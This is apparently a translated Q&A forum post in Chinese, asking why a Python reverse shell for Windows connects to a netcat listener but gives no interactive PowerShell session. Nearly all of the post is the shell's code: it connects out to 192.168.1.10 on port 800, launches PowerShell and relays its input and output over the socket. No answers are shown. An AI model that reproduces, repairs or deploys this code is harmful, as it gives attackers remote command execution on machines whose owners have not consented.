Windows Python反向Shell,可连接但无交互

时间:2019-02-03 12:48:45

标签: python windows reverse

我有一个适用于Windows的Python反向外壳,但是当我使用nc连接到传入连接时,它成功连接了。

尽管我无法与远程Powershell会话进行交互,但我错了什么。 谢谢

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.10",800))

p=subprocess.Popen(["\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

0 个答案:

没有答案